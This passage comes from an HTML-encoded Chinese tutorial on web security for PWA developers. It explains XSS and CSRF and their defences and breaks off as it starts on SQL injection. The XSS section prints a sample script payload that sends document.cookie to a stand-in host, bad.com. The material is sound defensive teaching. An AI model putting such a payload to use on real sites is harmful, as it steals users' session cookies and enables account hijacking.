href=\"#&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#xFF08;xss&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#xFF08;xss&#xFF09;\" class=\"plugin-anchor\" href=\"#&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#xFF08;xss&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#xFF08;XSS&#xFF09;</h3>\n<p>XSS (Cross Site Scripting) &#x5373;&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#x653B;&#x51FB;&#x3002;&#x4E3A;&#x4E86;&#x548C;&#x5C42;&#x53E0;&#x6837;&#x5F0F;&#x8868;&#xFF08;Cascading Style Sheets&#xFF0C;CSS&#xFF09;&#x533A;&#x5206;&#x5F00;&#xFF0C;&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#x5728;&#x5B89;&#x5168;&#x9886;&#x57DF;&#x53EB;&#x505A; XSS&#x3002;&#x653B;&#x51FB;&#x8005;&#x5F80; Web &#x9875;&#x9762;&#x91CC;&#x6CE8;&#x5165;&#x6076;&#x610F;&#x4EE3;&#x7801;&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x6D4F;&#x89C8;&#x8FD9;&#x4E9B;&#x7F51;&#x9875;&#x65F6;&#xFF0C;&#x5C31;&#x4F1A;&#x6267;&#x884C;&#x5176;&#x4E2D;&#x7684;&#x6076;&#x610F;&#x4EE3;&#x7801;&#xFF0C;&#x53EF;&#x5BF9;&#x7528;&#x6237;&#x8FDB;&#x884C;&#x76D7;&#x53D6; Cookie &#x4FE1;&#x606F;&#x3001;&#x4F1A;&#x8BDD;&#x52AB;&#x6301;&#x3001;&#x6539;&#x53D8;&#x7F51;&#x9875;&#x5185;&#x5BB9;&#x3001;&#x6076;&#x610F;&#x8DF3;&#x8F6C;&#x7B49;&#x5404;&#x79CD;&#x653B;&#x51FB;&#x3002;&#x7531;&#x4E8E; XSS &#x6F0F;&#x6D1E;&#x6613;&#x4E8E;&#x51FA;&#x73B0;&#x4E14;&#x5229;&#x7528;&#x6210;&#x672C;&#x4F4E;&#xFF0C;&#x6240;&#x4EE5;&#x66FE;&#x88AB; OWASP &#xFF08;&#x4E00;&#x4E2A;&#x5173;&#x6CE8; Web &#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x5B89;&#x5168;&#x7684;&#x975E;&#x8425;&#x5229;&#x6027;&#x7EC4;&#x7EC7;&#xFF09;&#x5217;&#x4E3A;&#x5F53;&#x524D;&#x7684;&#x5934;&#x53F7; Web &#x5B89;&#x5168;&#x5A01;&#x80C1;&#x3002;</p>\n<p>&#x6211;&#x4EEC;&#x4E3E;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#x8BF4;&#x660E;&#x5B83;&#x7684;&#x539F;&#x7406;&#xFF0C;&#x5728; <code>a.com</code> &#x7684;&#x641C;&#x7D22;&#x8F93;&#x5165;&#x6846;&#x4E2D;&#x8F93;&#x5165;&#x5982;&#x4E0B;&#x5185;&#x5BB9;&#xFF0C;&#x5E76;&#x63D0;&#x4EA4;&#x8BF7;&#x6C42;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>location.href=http://www.bad.com/?cookie=document.cookie<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x524D;&#x7AEF;&#x6CA1;&#x6709;&#x8FDB;&#x884C;&#x8FC7;&#x6EE4;&#xFF0C;&#x63D0;&#x4EA4;&#x641C;&#x7D22;&#x6846;&#x8868;&#x5355;&#x540E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5730;&#x5740;&#x53EF;&#x80FD;&#x53D8;&#x4E3A;&#xFF1A;</p>\n<pre class=\"language-\"><code>http://www.a.com/?query=<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>location.href=http://www.bad.com/?cookie=document.cookie<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre><p>&#x6B64;&#x65F6;&#xFF0C;script &#x6807;&#x7B7E;&#x4E2D;&#x7684;&#x4EE3;&#x7801;&#x88AB;&#x6267;&#x884C;&#x4E86;&#xFF01;&#x7528;&#x6237;&#x7684; Cookie &#x4FE1;&#x606F;&#x5DF2;&#x7ECF;&#x88AB;&#x53D1;&#x9001;&#x5230;&#x653B;&#x51FB;&#x8005;&#x7684;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x653B;&#x51FB;&#x8005;&#x4FBF;&#x80FD;&#x5229;&#x7528;&#x6536;&#x96C6;&#x7684; Cookie &#x4FE1;&#x606F;&#x6765;&#x4F2A;&#x9020;&#x7528;&#x6237;&#x8EAB;&#x4EFD;&#xFF0C;&#x8FDB;&#x884C;&#x591A;&#x79CD;&#x6076;&#x610F;&#x975E;&#x6CD5;&#x64CD;&#x4F5C;&#x3002;&#x8FD9;&#x4E2A;&#x4F8B;&#x5B50;&#x662F; XSS &#x6F0F;&#x6D1E;&#x7684;&#x4E00;&#x79CD;&#x7C7B;&#x578B;&#xFF1A;&#x53CD;&#x5C04;&#x6027; XSS&#x3002;&#x6839;&#x636E;&#x6548;&#x679C;&#x4E0D;&#x4E0D;&#x540C;&#xFF0C;XSS &#x653B;&#x51FB;&#x7C7B;&#x578B;&#x4E00;&#x822C;&#x5206;&#x4E3A;&#x4E09;&#x79CD;&#xFF1A;</p>\n<ul>\n<li>&#x53CD;&#x5C04;&#x578B; XSS</li>\n</ul>\n<p>&#x53CD;&#x5C04;&#x578B; XSS &#x53EA;&#x662F;&#x7B80;&#x5355;&#x7684;&#x628A;&#x7528;&#x6237;&#x8F93;&#x5165;&#x7684;&#x6570;&#x636E;&#x201C;&#x53CD;&#x5C04;&#x201D;&#x7ED9;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;XSS &#x811A;&#x672C;&#x51FA;&#x73B0;&#x5728; URL &#x8BF7;&#x6C42;&#x53C2;&#x6570;&#x91CC;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#x9700;&#x8981;&#x8BF1;&#x4F7F;&#x7528;&#x6237;&#x70B9;&#x51FB;&#x4E00;&#x4E2A;&#x6076;&#x610F;&#x94FE;&#x63A5;&#xFF0C;&#x624D;&#x80FD;&#x653B;&#x51FB;&#x6210;&#x529F;&#x3002;&#x53CD;&#x5C04;&#x578B; XSS &#x4E5F;&#x53EB;&#x4F5C;&#x975E;&#x6301;&#x4E45;&#x578B; XSS&#x3002;</p>\n<ul>\n<li>&#x50A8;&#x5B58;&#x578B; XSS</li>\n</ul>\n<p>&#x5B58;&#x50A8;&#x578B; XSS &#x4E5F;&#x88AB;&#x79F0;&#x4E3A;&#x6301;&#x4E45;&#x578B; XSS&#xFF0C;&#x5F53;&#x653B;&#x51FB;&#x8005;&#x8F93;&#x5165;&#x4E00;&#x6BB5;&#x6076;&#x610F;&#x811A;&#x672C;&#x540E;&#xFF0C;&#x88AB;&#x670D;&#x52A1;&#x7AEF;&#x63A5;&#x53D7;&#x4FDD;&#x5B58;&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x8FD9;&#x4E2A;&#x9875;&#x9762;&#x65F6;&#xFF0C;&#x6076;&#x610F;&#x811A;&#x672C;&#x5C31;&#x4F1A;&#x88AB;&#x6267;&#x884C;&#xFF0C;&#x4ECE;&#x800C;&#x9020;&#x6210;&#x6F0F;&#x6D1E;&#x3002;</p>\n<ul>\n<li>DOM Based XSS</li>\n</ul>\n<p>&#x57FA;&#x4E8E; DOM &#x7684; XSS&#xFF0C;&#x901A;&#x8FC7;&#x5BF9;&#x5177;&#x4F53; DOM &#x4EE3;&#x7801;&#x8FDB;&#x884C;&#x5206;&#x6790;&#xFF0C;&#x6839;&#x636E;&#x5B9E;&#x9645;&#x60C5;&#x51B5;&#x6784;&#x9020; DOM &#x8282;&#x70B9;&#x8FDB;&#x884C; XSS &#x8DE8;&#x7AD9;&#x811A;&#x672C;&#x653B;&#x51FB;&#xFF0C;HTML &#x9875;&#x9762;&#x4E2D;&#x4F7F;&#x7528; document.write &#x548C; innerHTML &#x7B49;&#x65B9;&#x6CD5;&#xFF0C;&#x5BB9;&#x6613;&#x9020;&#x6210; DOM &#x8282;&#x70B9;&#x4E2D;&#x5B58;&#x5728;&#x8BE5;&#x7C7B;&#x578B;&#x7684; XSS &#x6F0F;&#x6D1E;&#x3002;</p>\n<h4 id=\"&#x9632;&#x8303;-xss\"><a name=\"&#x9632;&#x8303;-xss\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9632;&#x8303;-xss\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9632;&#x8303;-xss\" class=\"plugin-anchor\" href=\"#&#x9632;&#x8303;-xss\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9632;&#x8303; XSS</h4>\n<p>&#x5BF9;&#x4E8E; XSS &#x653B;&#x51FB;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x505A;&#x5982;&#x4E0B;&#x9632;&#x8303;&#xFF1A;</p>\n<ul>\n<li>&#x8F93;&#x5165;&#x8FC7;&#x6EE4;</li>\n</ul>\n<p>&#x6C38;&#x8FDC;&#x4E0D;&#x8981;&#x76F8;&#x4FE1;&#x7528;&#x6237;&#x7684;&#x8F93;&#x5165;&#xFF0C;&#x5BF9;&#x7528;&#x6237;&#x8F93;&#x5165;&#x7684;&#x6570;&#x636E;&#x505A;&#x4E00;&#x5B9A;&#x7684;&#x8FC7;&#x6EE4;&#x3002;&#x5982;&#x8F93;&#x5165;&#x7684;&#x6570;&#x636E;&#x662F;&#x5426;&#x7B26;&#x5408;&#x9884;&#x671F;&#x7684;&#x683C;&#x5F0F;&#xFF0C;&#x6BD4;&#x5982;&#x65E5;&#x671F;&#x683C;&#x5F0F;&#xFF0C;Email &#x683C;&#x5F0F;&#xFF0C;&#x7535;&#x8BDD;&#x53F7;&#x7801;&#x683C;&#x5F0F;&#x7B49;&#x7B49;&#x3002;&#x540C;&#x65F6;&#xFF0C;&#x540E;&#x53F0;&#x670D;&#x52A1;&#x5668;&#x9700;&#x8981;&#x5728;&#x63A5;&#x6536;&#x5230;&#x7528;&#x6237;&#x8F93;&#x5165;&#x7684;&#x6570;&#x636E;&#x540E;&#xFF0C;&#x5BF9;&#x7279;&#x6B8A;&#x5371;&#x9669;&#x5B57;&#x7B26;&#x5982; <code>&lt;</code>&#xFF0C;<code>&gt;</code> &#x7B49;&#x8FDB;&#x884C;&#x8FC7;&#x6EE4;&#x6216;&#x8005;&#x8F6C;&#x4E49;&#x5904;&#x7406;&#xFF0C;&#x7136;&#x540E;&#x518D;&#x5B58;&#x50A8;&#x5230;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x3002;</p>\n<ul>\n<li>&#x8F93;&#x51FA;&#x7F16;&#x7801;</li>\n</ul>\n<p>&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x8F93;&#x51FA;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x7CFB;&#x7EDF;&#x7684;&#x5B89;&#x5168;&#x51FD;&#x6570;&#x6765;&#x8FDB;&#x884C;&#x7F16;&#x7801;&#x6216;&#x8F6C;&#x4E49;&#x6765;&#x9632;&#x8303; XSS &#x653B;&#x51FB;&#x3002;&#x8F93;&#x51FA; HTML &#x5C5E;&#x6027;&#x65F6;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; HTML &#x8F6C;&#x4E49;&#x7F16;&#x7801;&#xFF08;HTMLEncode&#xFF09;&#x8FDB;&#x884C;&#x5904;&#x7406;&#xFF0C;&#x5C06; <code>&amp;</code>&#xFF0C;<code>&lt;</code>&#xFF0C;<code>&gt;</code>&#xFF0C;<code>&quot;</code>&#xFF0C;<code>&apos;</code> &#x7B49;&#x8FDB;&#x884C;&#x8F6C;&#x4E49;&#x4E4B;&#x540E;&#x518D;&#x8F93;&#x51FA;&#x5230;&#x9875;&#x9762;&#x4EE3;&#x7801;&#x4E2D;&#x3002;</p>\n<ul>\n<li>HttpOnly Cookie</li>\n</ul>\n<p>&#x8FD9;&#x662F;&#x9884;&#x9632; XSS &#x653B;&#x51FB;&#x7A83;&#x53D6;&#x7528;&#x6237; Cookie &#x6700;&#x6709;&#x6548;&#x7684;&#x9632;&#x5FA1;&#x624B;&#x6BB5;&#x3002;Web &#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x5728;&#x8BBE;&#x7F6E; Cookie &#x65F6;&#xFF0C;&#x5C06;&#x5176;&#x5C5E;&#x6027;&#x8BBE;&#x4E3A; HttpOnly&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#x811A;&#x672C;&#x5C06;&#x65E0;&#x6CD5;&#x83B7;&#x53D6; Cookie &#x7684;&#x503C;&#xFF0C;&#x8FD9;&#x6837;&#x80FD;&#x6709;&#x6548;&#x5C31;&#x907F;&#x514D;&#x8BE5;&#x7F51;&#x9875;&#x7684; Cookie &#x88AB;&#x5BA2;&#x6237;&#x7AEF;&#x6076;&#x610F; JavaScript &#x7A83;&#x53D6;&#xFF0C;&#x4FDD;&#x62A4;&#x7528;&#x6237; Cookie &#x4FE1;&#x606F;&#x5B89;&#x5168;&#x3002;</p>\n<h3 id=\"&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF08;csrf&#xFF09;\"><a name=\"&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF08;csrf&#xFF09;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF08;csrf&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF08;csrf&#xFF09;\" class=\"plugin-anchor\" href=\"#&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF08;csrf&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF08;CSRF&#xFF09;</h3>\n<p>CSRF (Cross Site Request Forgery)&#xFF0C;&#x5373;&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF0C;&#x662F;&#x4E00;&#x79CD;&#x6781;&#x6613;&#x88AB;&#x5F00;&#x53D1;&#x8005;&#x5FFD;&#x7565;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;&#x3002;&#x7B80;&#x5355;&#x7684;&#x7406;&#x89E3;&#x662F;&#xFF0C;&#x653B;&#x51FB;&#x8005;&#x76D7;&#x7528;&#x4E86;&#x7528;&#x6237;&#x7684;&#x8EAB;&#x4EFD;&#xFF0C;&#x4EE5;&#x7528;&#x6237;&#x7684;&#x540D;&#x4E49;&#x53D1;&#x9001;&#x6076;&#x610F;&#x8BF7;&#x6C42;&#x3002;CSRF &#x80FD;&#x591F;&#x505A;&#x7684;&#x4E8B;&#x60C5;&#x5305;&#x62EC;&#xFF1A;&#x4EE5;&#x4F60;&#x540D;&#x4E49;&#x53D1;&#x9001;&#x90AE;&#x4EF6;&#xFF0C;&#x53D1;&#x6D88;&#x606F;&#xFF0C;&#x76D7;&#x53D6;&#x4F60;&#x7684;&#x8D26;&#x53F7;&#xFF0C;&#x751A;&#x81F3;&#x4E8E;&#x8D2D;&#x4E70;&#x5546;&#x54C1;&#xFF0C;&#x865A;&#x62DF;&#x8D27;&#x5E01;&#x8F6C;&#x8D26;&#x7B49;&#xFF0C;&#x9020;&#x6210;&#x4E2A;&#x4EBA;&#x9690;&#x79C1;&#x6CC4;&#x9732;&#xFF0C;&#x8D22;&#x4EA7;&#x635F;&#x5931;&#x3002;</p>\n<p>&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#xFF0C;&#x53D7;&#x5BB3;&#x8005;&#x7528;&#x6237;&#x767B;&#x5F55;&#x7F51;&#x7AD9; A&#xFF0C;&#x8F93;&#x5165;&#x4E2A;&#x4EBA;&#x4FE1;&#x606F;&#xFF0C;&#x5728;&#x672C;&#x5730;&#x4FDD;&#x5B58;&#x670D;&#x52A1;&#x5668;&#x751F;&#x6210;&#x7684; Cookie&#x3002;&#x653B;&#x51FB;&#x8005;&#x6784;&#x5EFA;&#x4E00;&#x6761;&#x6076;&#x610F;&#x94FE;&#x63A5;&#xFF0C;&#x4F8B;&#x5982;&#x5BF9;&#x53D7;&#x5BB3;&#x8005;&#x5728;&#x7F51;&#x7AD9; A &#x7684;&#x4FE1;&#x606F;&#x53CA;&#x72B6;&#x6001;&#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#xFF0C;&#x5178;&#x578B;&#x7684;&#x4F8B;&#x5B50;&#x5C31;&#x662F;&#x8F6C;&#x8D26;&#x3002;&#x53D7;&#x5BB3;&#x8005;&#x6253;&#x5F00;&#x4E86;&#x653B;&#x51FB;&#x8005;&#x6784;&#x5EFA;&#x7684;&#x7F51;&#x9875; B&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x51FA;&#x8BE5;&#x6076;&#x610F;&#x8FDE;&#x63A5;&#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x8D77;&#x4F1A;&#x8BDD;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#x643A;&#x5E26;&#x4E86;&#x672C;&#x5730;&#x4FDD;&#x5B58;&#x7684; Cookie&#xFF0C;A &#x7F51;&#x7AD9;&#x6536;&#x5230; Cookie&#xFF0C;&#x4EE5;&#x4E3A;&#x662F;&#x53D7;&#x5BB3;&#x8005;&#x53D1;&#x51FA;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x5BFC;&#x81F4;&#x53D7;&#x5BB3;&#x8005;&#x7684;&#x8EAB;&#x4EFD;&#x88AB;&#x76D7;&#x7528;&#xFF0C;&#x5B8C;&#x6210;&#x653B;&#x51FB;&#x8005;&#x6076;&#x610F;&#x7684;&#x76EE;&#x7684;&#x3002;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/csrf.png\" alt=\"CSRF\"></p>\n<h4 id=\"&#x9632;&#x8303;-csrf\"><a name=\"&#x9632;&#x8303;-csrf\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9632;&#x8303;-csrf\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9632;&#x8303;-csrf\" class=\"plugin-anchor\" href=\"#&#x9632;&#x8303;-csrf\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9632;&#x8303; CSRF</h4>\n<p>&#x5BF9;&#x4E8E; CSRF &#x653B;&#x51FB;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x505A;&#x5982;&#x4E0B;&#x9632;&#x8303;&#xFF1A;</p>\n<ul>\n<li>&#x9A8C;&#x8BC1;&#x7801;</li>\n</ul>\n<p>&#x8FD9;&#x662F;&#x4E00;&#x79CD;&#x6BD4;&#x8F83;&#x7B80;&#x5355;&#x6709;&#x6548;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x5B83;&#x5F3A;&#x5236;&#x7528;&#x6237;&#x5FC5;&#x987B;&#x4E0E;&#x5E94;&#x7528;&#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#x624D;&#x80FD;&#x5B8C;&#x6210;&#x6700;&#x7EC8;&#x7684;&#x8BF7;&#x6C42;&#x3002;&#x7279;&#x522B;&#x662F;&#x8D26;&#x6237;&#x4EA4;&#x6613;&#x8FD9;&#x79CD;&#x6838;&#x5FC3;&#x6B65;&#x9AA4;&#xFF0C;&#x5F3A;&#x5236;&#x7528;&#x6237;&#x8F93;&#x5165;&#x9A8C;&#x8BC1;&#x7801;&#xFF0C;&#x624D;&#x80FD;&#x5B8C;&#x6210;&#x8F6C;&#x8D26;&#x3002;&#x5728;&#x901A;&#x5E38;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x9A8C;&#x8BC1;&#x7801;&#x591F;&#x5F88;&#x597D;&#x5730;&#x904F;&#x5236; CSRF &#x653B;&#x51FB;&#x3002;&#x4F46;&#x589E;&#x52A0;&#x9A8C;&#x8BC1;&#x7801;&#x964D;&#x4F4E;&#x4E86;&#x7528;&#x6237;&#x7684;&#x4F53;&#x9A8C;&#xFF0C;&#x7F51;&#x7AD9;&#x4E0D;&#x80FD;&#x7ED9;&#x6240;&#x6709;&#x7684;&#x64CD;&#x4F5C;&#x90FD;&#x52A0;&#x4E0A;&#x9A8C;&#x8BC1;&#x7801;&#x3002;&#x6240;&#x4EE5;&#x53EA;&#x80FD;&#x5C06;&#x9A8C;&#x8BC1;&#x7801;&#x4F5C;&#x4E3A;&#x4E00;&#x79CD;&#x8F85;&#x52A9;&#x624B;&#x6BB5;&#xFF0C;&#x5728;&#x5173;&#x952E;&#x4E1A;&#x52A1;&#x70B9;&#x8BBE;&#x7F6E;&#x9A8C;&#x8BC1;&#x7801;&#x3002;</p>\n<ul>\n<li>Referer Check</li>\n</ul>\n<p>HTTP Referer &#x662F; header &#x7684;&#x4E00;&#x90E8;&#x5206;&#xFF0C;&#x5F53;&#x6D4F;&#x89C8;&#x5668;&#x5411; Web &#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x8BF7;&#x6C42;&#x65F6;&#xFF0C;&#x4E00;&#x822C;&#x4F1A;&#x5E26;&#x4E0A; referer &#x4FE1;&#x606F;&#x544A;&#x8BC9;&#x670D;&#x52A1;&#x5668;&#x662F;&#x4ECE;&#x54EA;&#x4E2A;&#x9875;&#x9762;&#x94FE;&#x63A5;&#x8FC7;&#x6765;&#x7684;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x4EE5;&#x6B64;&#x53EF;&#x4EE5;&#x83B7;&#x5F97;&#x4E00;&#x4E9B;&#x4FE1;&#x606F;&#x7528;&#x4E8E;&#x5904;&#x7406;&#x3002;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x68C0;&#x67E5;&#x8BF7;&#x6C42;&#x7684;&#x6765;&#x6E90;&#x6765;&#x9632;&#x5FA1; CSRF &#x653B;&#x51FB;&#x3002;&#x6B63;&#x5E38;&#x8BF7;&#x6C42;&#x7684; referer &#x5177;&#x6709;&#x4E00;&#x5B9A;&#x89C4;&#x5F8B;&#xFF0C;&#x5982;&#x5728;&#x63D0;&#x4EA4;&#x8868;&#x5355;&#x7684; referer &#x5FC5;&#x5B9A;&#x662F;&#x5728;&#x8BE5;&#x9875;&#x9762;&#x53D1;&#x8D77;&#x7684;&#x8BF7;&#x6C42;&#x3002;&#x6240;&#x4EE5;&#x901A;&#x8FC7;&#x68C0;&#x67E5; http &#x5305;&#x5934; referer &#x7684;&#x503C;&#x662F;&#x4E0D;&#x662F;&#x8FD9;&#x4E2A;&#x9875;&#x9762;&#xFF0C;&#x6765;&#x5224;&#x65AD;&#x662F;&#x4E0D;&#x662F; CSRF &#x653B;&#x51FB;&#x3002;</p>\n<ul>\n<li>Anti CSRF Token</li>\n</ul>\n<p>&#x76EE;&#x524D;&#x6BD4;&#x8F83;&#x5B8C;&#x5584;&#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x662F;&#x52A0;&#x5165; Anti CSRF Token&#xFF0C;&#x5373;&#x53D1;&#x9001;&#x8BF7;&#x6C42;&#x65F6;&#x5728; HTTP &#x8BF7;&#x6C42;&#x4E2D;&#x52A0;&#x5165;&#x4E00;&#x4E2A;&#x968F;&#x673A;&#x4EA7;&#x751F;&#x7684; token&#xFF0C;&#x4FDD;&#x8BC1;&#x5176;&#x4E0D;&#x53EF;&#x9884;&#x6D4B;&#x6027;&#xFF0C;&#x8BA9;&#x653B;&#x51FB;&#x8005;&#x65E0;&#x6CD5;&#x731C;&#x6D4B;&#x91CD;&#x8981;&#x8BF7;&#x6C42;&#x6240;&#x9700;&#x7684;&#x53C2;&#x6570;&#x3002;&#x5B9E;&#x9645;&#x5E94;&#x7528;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x628A; token &#x9690;&#x85CF;&#x5728;&#x8868;&#x5355;&#x4E2D;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x9A8C;&#x8BC1;&#x63D0;&#x4EA4;&#x7684; token &#x662F;&#x5426;&#x4E0E; session &#x6216; Cookie &#x4E2D;&#x7684;&#x503C;&#x4E00;&#x81F4;&#xFF0C;&#x6765;&#x5224;&#x65AD;&#x8BE5;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x5408;&#x6CD5;&#x3002;&#x5982;&#x679C;&#x4E0D;&#x5408;&#x6CD5;&#xFF0C;&#x76F4;&#x63A5;&#x62D2;&#x7EDD;&#x8BE5;&#x8BF7;&#x6C42;&#x3002;</p>\n<p>&#x5F52;&#x6839;&#x5230;&#x5E95;&#xFF0C;&#x9632;&#x8303;&#x8FD9;&#x79CD;&#x7C7B;&#x578B;&#x7684;&#x5A01;&#x80C1;&#xFF0C;&#x9700;&#x8981;&#x6211;&#x4EEC;&#x5728;&#x6784;&#x5EFA; PWA &#x5E94;&#x7528;&#x65F6;&#x59CB;&#x7EC8;&#x4FDD;&#x6301;&#x5B89;&#x5168;&#x610F;&#x8BC6;&#xFF0C;&#x5BF9;&#x4E8E;&#x4EFB;&#x4F55;&#x654F;&#x611F;&#x64CD;&#x4F5C;&#x90FD;&#x8981;&#x8FDB;&#x884C;&#x8EAB;&#x4EFD;&#x7684;&#x786E;&#x8BA4;&#xFF0C;&#x6D89;&#x53CA;&#x5230;&#x7528;&#x6237;&#x654F;&#x611F;&#x4FE1;&#x606F;&#x7684; Cookie &#x6570;&#x636E;&#xFF0C;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x751F;&#x547D;&#x5468;&#x671F;&#x548C;&#x8BFB;&#x53D6;&#x6743;&#x9650;&#x7684;&#x4E25;&#x683C;&#x9650;&#x5236;&#xFF0C;&#x6709;&#x5173;&#x66F4;&#x591A; CSRF &#x7684;&#x9632;&#x8303;&#x65B9;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x67E5;&#x770B; OWASP &#x603B;&#x7ED3;&#x7684;&#x6587;&#x6863;&#xFF1A;<a href=\"https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet\" target=\"_blank\">https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet</a> &#x3002;</p>\n<h3 id=\"sql-&#x6CE8;&#x5165;&#x6F0F;&#x6D1E;\"><a name=\"sql-&#x6CE8;&#x5165;&#x6F0F;&#x6D1E;\" class=\"anchor-navigation-ex-anchor\" href=\"#sql-&#x6CE8;&#x5165;&#x6F0F;&#x6D1E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"sql-&#x6CE8;&#x5165;&#x6F0F;&#x6D1E;\" class=\"plugin-anchor\" href=\"#sql-&#x6CE8;&#x5165;&#x6F0F;&#x6D1E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>SQL &#x6CE8;&#x5165;&#x6F0F;&#x6D1E;</h3>\n<p>&#x6CE8;&#x5165;&#x653B;&#x51FB;&#x662F; Web &#x5B89;&#x5168;&#x9886;&#x57DF;&#x7684;&#x4E00;&#x79CD;&#x5E38;&#x89C1;&#x5A01;&#x80C1;&#xFF0C;&#x5176;&#x672C;&#x8D28;&#x5C31;&#x662F;&#x628A;&#x7528;&#x6237;&#x8F93;&#x5165;&#x7684;&#x6570;&#x636E;&#x5F53;&#x505A;&#x4EE3;&#x7801;&#x6765;&#x6267;&#x884C;&#x3002;&#x524D;&#x9762;&#x63D0;&#x5230;&#x7684; XSS &#x5176;&#x5B9E;&#x4E5F;&#x662F;&#x4E00;&#x79CD;&#x9488;&#x5BF9; HTML &#x7684;&#x6CE8;&#x5165;&#xFF0C;SQL &#x6CE8;&#x5165;&#x5C31;&#x662F;&#x628A;&#x975E;&#x6CD5;&#x7684; SQL &#x547D;&#x4EE4;&#x901A;&#x8FC7; Web &#x8868;&#x5355;&#x7B49;&#x65B9;&#x5F0F;&#x63D0;&#x4EA4;&#xFF0C;&#x5728;&#x670D;&#x52A1;&#x7AEF;&#x540E;&#x53F0;&#x6267;&#x884C;&#xFF0C;&#x5B9E;&#x73B0;&#x7BE1;&#x6539;&#x6570;&#x636E;&#x5E93;&#x7B49;&#x6076;&#x610F;&#x884C;&#x4E3A;&#x3002;</p>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x7528;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#x8BF4;&#x660E;&#x8FD9;&#x79CD;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;&#x3002;&#x73B0;&#x5728;&#x6709;&#x4E00;&#x6761;&#x6839;&#x636E;&#x7528;&#x6237; uid 